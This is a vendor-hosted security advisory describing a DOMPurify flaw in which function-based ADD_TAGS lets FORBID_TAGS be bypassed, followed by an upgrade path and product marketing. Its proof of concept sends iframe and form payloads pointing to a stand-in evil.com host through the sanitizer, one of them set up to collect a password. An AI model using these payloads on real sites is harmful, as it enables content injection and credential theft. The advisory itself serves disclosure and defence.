GHSA-h7mw-gpvr-xq4m
GHSA-h7mw-gpvr-xq4m is a security vulnerability in dompurify. O3 Security confirms whether GHSA-h7mw-gpvr-xq4m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Blast Radius
dompurifyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dompurify | all versions | 3.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update dompurify to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h7mw-gpvr-xq4m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-h7mw-gpvr-xq4m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-h7mw-gpvr-xq4m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h7mw-gpvr-xq4m in your dependencies?
O3 detects GHSA-h7mw-gpvr-xq4m across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.